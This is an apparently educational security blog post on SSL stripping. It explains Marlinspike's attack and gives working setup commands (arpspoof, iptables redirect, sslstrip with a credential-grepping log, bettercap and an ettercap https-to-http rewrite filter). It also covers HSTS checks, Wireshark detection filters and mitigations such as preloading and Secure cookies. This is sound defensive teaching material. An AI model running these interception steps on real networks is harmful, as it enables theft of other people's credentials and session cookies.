Moxie Marlinspike stood at the podium at Black Hat DC 2009 and demonstrated something that changed how the security community thought about HTTPS. The attack did not crack SSL. It did not exploit a cryptographic weakness. It exploited something far simpler: the gap between when a user types a domain name into their browser and when HTTPS is actually negotiated.
That gap — the initial HTTP request — is all an attacker needs.
SSL stripping sits between the client and the server. It speaks HTTPS upstream to the origin, downgrades the connection to HTTP downstream to the victim, and rewrites every link and redirect in transit. The user sees content. The browser shows no warning. Credentials, session cookies, and sensitive data flow through the attacker’s machine in cleartext.
Fifteen years later, the technique’s reach has narrowed — HSTS and preloading have closed the door for major sites. But for the long tail of domains without preloading, for non-browser clients, and for first-connection scenarios, SSL stripping remains a viable attack on untrusted networks.
How SSL Stripping Works: Step by Step
Prerequisites: MitM Position
SSL stripping requires the attacker to be positioned as a man-in-the-middle — able to intercept and modify TCP traffic between the client and the internet. Common methods:
- ARP poisoning on a local network (see our companion post on ARP spoofing)
- Evil Twin AP (rogue Wi-Fi access point — see our post on Evil Twin attacks)
- DHCP spoofing: Attacker responds to DHCP requests faster than the legitimate server, assigning themselves as the default gateway
- ICMP redirect: Attacker sends ICMP Redirect messages telling the victim to use the attacker as a router
The Attack Chain
Without SSL stripping (normal flow):
Client → GET http://example.com/ (initial request, unencrypted)
Server → 301 Redirect: https://example.com/ (or HSTS forces upgrade)
Client → TLS handshake → GET https://example.com/ (encrypted)
Server → 200 OK (encrypted)
With SSL stripping (attacker in path):
Client → GET http://example.com/
↓ (attacker intercepts)
Attacker → GET https://example.com/ (attacker talks HTTPS to server)
Server → 200 OK with links: <a href="https://example.com/login">
↓ (attacker rewrites response)
Attacker rewrites: <a href="http://example.com/login">
Attacker → Client: 200 OK (HTTP, with rewritten links)
Client → GET http://example.com/login (follows HTTP link)
↓ (attacker intercepts login credentials in plaintext)
Attacker → POST https://example.com/login (forwards to server with real creds)
The client is never redirected to HTTPS. The attacker holds both connections simultaneously.
Attack Setup
Step 1: ARP Poison to Obtain MitM Position
1# Enable IP forwarding so traffic actually passes through (not just captured)
2sudo sysctl -w net.ipv4.ip_forward=1
3
4# ARP poison: tell victim (192.168.1.100) that the gateway (192.168.1.1) is us
5# Tell gateway that the victim is us
6sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 &
7sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 &
Step 2: Redirect HTTP Traffic to sslstrip
1# Redirect incoming port 80 traffic to sslstrip's listening port (8080)
2sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 \
3 -j REDIRECT --to-port 8080
Step 3: Run sslstrip
1# Install sslstrip
2pip install sslstrip
3
4# Run sslstrip on port 8080 with logging
5sslstrip -l 8080 -w sslstrip.log -p
6
7# Monitor the log for captured credentials
8tail -f sslstrip.log | grep -i "password\|passwd\|token\|session"
Alternative: bettercap (modern all-in-one MitM framework)
1# Install bettercap
2sudo apt install bettercap
3
4# Launch bettercap on the network interface
5sudo bettercap -iface eth0
6
7# In bettercap console:
8net.probe on
9net.recon on
10# Set target
11set arp.spoof.targets 192.168.1.100
12arp.spoof on
13# Enable SSL stripping module
14set https.proxy.sslstrip true
15https.proxy on
16http.proxy on
Ettercap Filter to Demonstrate Rewriting
1# ettercap filter: rewrite https:// links to http://
2# Save as strip.filter, compile with: etterfilter strip.filter -o strip.ef
3
4if (ip.proto == TCP && tcp.dst == 80) {
5 if (search(DATA.data, "Accept-Encoding")) {
6 pcre_regex(DATA.data, "Accept-Encoding:[^\r]+", "Accept-Encoding: identity\r");
7 msg("Removed encoding\n");
8 }
9}
10
11if (ip.proto == TCP && tcp.src == 80) {
12 pcre_regex(DATA.data, "https://", "http://");
13 msg("SSL Strip: rewrote https to http\n");
14}
1# Run ettercap with the compiled filter
2sudo ettercap -T -M arp:remote \
3 -F strip.ef \
4 /192.168.1.100// /192.168.1.1// \
5 -i eth0
Testing HSTS Enforcement with curl
1# Test whether a site enforces HSTS (check for Strict-Transport-Security header)
2curl -sI https://example.com | grep -i strict-transport
3
4# Expected output for HSTS-enabled site:
5# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
6
7# Test a site that does not redirect to HTTPS from HTTP (sslstrip viable)
8curl -sI http://example.com | grep -iE "location|strict"
9
10# If no HSTS header and HTTP returns 200 (not redirect): vulnerable to sslstrip
11# If HTTP returns 301 to HTTPS but no HSTS: first-request vulnerable
12
13# Check HSTS preload status
14curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool
Real-World Relevance
Public Wi-Fi Risk
SSL stripping is most dangerous on shared networks — airport Wi-Fi, hotel networks, coffee shop hotspots — where ARP poisoning or a rogue AP is trivial to execute. A 2013 study by ESET and subsequent research by security teams at DEF CON and CCC consistently demonstrate that non-preloaded banking and e-commerce sites remain strippable on first connection.
The scenario: a traveler connects to hotel Wi-Fi, visits their bank’s portal for the first time from this device. Their browser has no cached HSTS policy for the bank’s subdomain (e.g., secure.regional-bank.com). The attacker strips HTTPS. The user enters credentials in an HTTP form. The attacker captures them.
Corporate Proxy SSL Inspection
Many enterprise networks deploy TLS inspection proxies (Palo Alto SSL Decryption, Cisco Firepower, Zscaler) that legitimately perform a MitM using a corporate CA certificate trusted by all managed devices. While necessary for security monitoring, these create an environment where users are conditioned to accept certificate substitution — which makes them less likely to notice or report certificate anomalies, and which can be abused if the proxy is itself compromised.
Detection
Wireshark — Detect HTTP Where HTTPS Expected
# Wireshark display filter: HTTP traffic to sites that should be HTTPS
# Look for POST requests (credential submissions) over plain HTTP
http.request.method == "POST" and http.request.uri contains "login"
# Look for session cookies transmitted in plaintext
http.cookie
# Detect SSL stripping artifacts: HTTP responses containing references
# to HTTPS URIs (sign that https was rewritten from server response)
http.response and frame contains "https://"
# Look for ARP anomalies that indicate MitM setup
arp.duplicate-address-detected
Browser Security Indicators
Users should look for:
- Address bar:
https://prefix and padlock icon absent on sensitive sites - Mixed content warnings: Browser console logs
Mixed Content: The page was loaded over HTTPS, but requested an insecure resource - HTTPS-only mode alert (Firefox/Chrome): Browser warns before loading HTTP site
HSTS Preload List Verification
1# Check if domain is in Chrome's HSTS preload list
2# Download the preload list (updated in Chrome releases)
3curl -s https://chromium.googlesource.com/chromium/src/+/main/net/http/transport_security_state_static.json?format=TEXT \
4 | base64 -d | python3 -c "
5import json, sys
6data = json.load(sys.stdin)
7domain = 'example.com'
8entries = {e['name']: e for e in data['entries']}
9if domain in entries:
10 print(f'PRELOADED: {entries[domain]}')
11else:
12 print(f'NOT preloaded — first-connection SSL strip viable')
13"
14
15# Or use the API
16curl "https://hstspreload.org/api/v2/status?domain=yourbank.com"
The Evolution: Where SSL Stripping Still Works in 2026
Where It Largely Does Not Work
- HSTS preloaded domains: Chrome, Firefox, Safari, Edge all ship with preload lists. Google, Facebook, Twitter, GitHub, PayPal, all major banking institutions are preloaded. A first-connection strip attempt is stopped before the browser sends any request.
- Browser HTTPS-only mode: Firefox and Chrome HTTPS-only modes block HTTP connections and show interstitial warnings, disrupting the strip.
- HSTS with long max-age: After a single successful HTTPS visit, browsers enforce HTTPS for the duration of max-age (often 1–2 years). Return visitors are protected.
Where It Still Works
- Non-preloaded domains on first connection: Millions of sites have HSTS headers but are not preloaded. The first visit remains vulnerable.
- Subdomains without includeSubDomains:
Strict-Transport-Security: max-age=31536000set only onwww.example.comdoes not protectlogin.example.comorportal.example.com. - Non-browser HTTP clients: Mobile apps, Python scripts, curl, command-line tools, IoT devices — none implement HSTS unless specifically coded to do so.
- sslstrip2 partial bypass: Some implementations target non-preloaded subdomains and attempt to keep the browser from caching HSTS by stripping the header itself.
- API endpoints: REST APIs accessed over HTTP (rather than HTTPS) are fully vulnerable — no browser, no padlock, no HSTS.
Defense and Mitigation
1. HSTS Header — Server Configuration
1# Nginx: HSTS with 2-year max-age, subdomains, preload-ready
2server {
3 listen 443 ssl;
4 server_name example.com;
5 add_header Strict-Transport-Security \
6 "max-age=63072000; includeSubDomains; preload" always;
7}
8
9# Redirect all HTTP to HTTPS first
10server {
11 listen 80;
12 server_name example.com;
13 return 301 https://$host$request_uri;
14}
1# Apache: HSTS header
2Header always set Strict-Transport-Security \
3 "max-age=63072000; includeSubDomains; preload"
2. HSTS Preloading
Submit your domain at hstspreload.org after verifying:
- All subdomains support HTTPS
- max-age >= 31536000 (1 year)
- includeSubDomains directive present
- preload directive present
- HTTP redirects to HTTPS
Note: Preloading is essentially irreversible at the browser level for 1+ years. Test thoroughly before submitting.
3. Content Security Policy — Upgrade Insecure Requests
Content-Security-Policy: upgrade-insecure-requests
This CSP directive instructs browsers to automatically upgrade HTTP subresource requests to HTTPS, mitigating mixed content even if links were not updated.
4. Cookie Security Flags
Even if SSL stripping succeeds in intercepting the login page, session cookies with the Secure flag are not transmitted over HTTP:
1Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
1# Flask example
2response.set_cookie('session', value=token, secure=True, httponly=True, samesite='Strict')
5. VPN on Untrusted Networks
A VPN that establishes an encrypted tunnel before any HTTP traffic is sent eliminates the MitM position required for SSL stripping. Zero-trust network access solutions that establish tunnels at the OS level (before applications send traffic) provide the most complete protection.
6. Certificate Pinning in Applications
Mobile and desktop applications that need to communicate with known backends should pin the server’s certificate or public key:
1// iOS — URLSession with certificate pinning
2let serverTrustPolicy = ServerTrustPolicy.pinCertificates(
3 certificates: ServerTrustPolicy.certificates(),
4 validateCertificateChain: true,
5 validateHost: true
6)
MITRE ATT&CK Mapping
| Technique | ID | Description |
|---|---|---|
| Adversary-in-the-Middle: Wi-Fi | T1557.002 | MitM position enabling SSL strip |
| Adversary-in-the-Middle | T1557 | Traffic interception and modification |
| Network Sniffing | T1040 | Credential capture from downgraded HTTP |
| Exploitation for Credential Access | T1212 | Capturing credentials via protocol downgrade |
Related Attacks in This Series
- Evil Twin WiFi: Man-in-the-Middle Attack
- ARP Poisoning: Intercepting Traffic on Your Network
- VLAN Hopping: Jumping Between Network Segments
- DNS Hijacking: Redirecting Traffic Without You Knowing
References
- MITRE ATT&CK T1557 — Adversary-in-the-Middle
- Moxie Marlinspike — SSL Stripping (Black Hat DC 2009 Slides)
- RFC 6797 — HTTP Strict Transport Security (HSTS)
- HSTS Preload List Submission — hstspreload.org
- OWASP — Transport Layer Security Cheat Sheet
- bettercap — MitM Framework Documentation
- Scott Helme — HSTS: The Missing Link in Transport Security
- Mozilla Observatory — HTTPS Best Practices






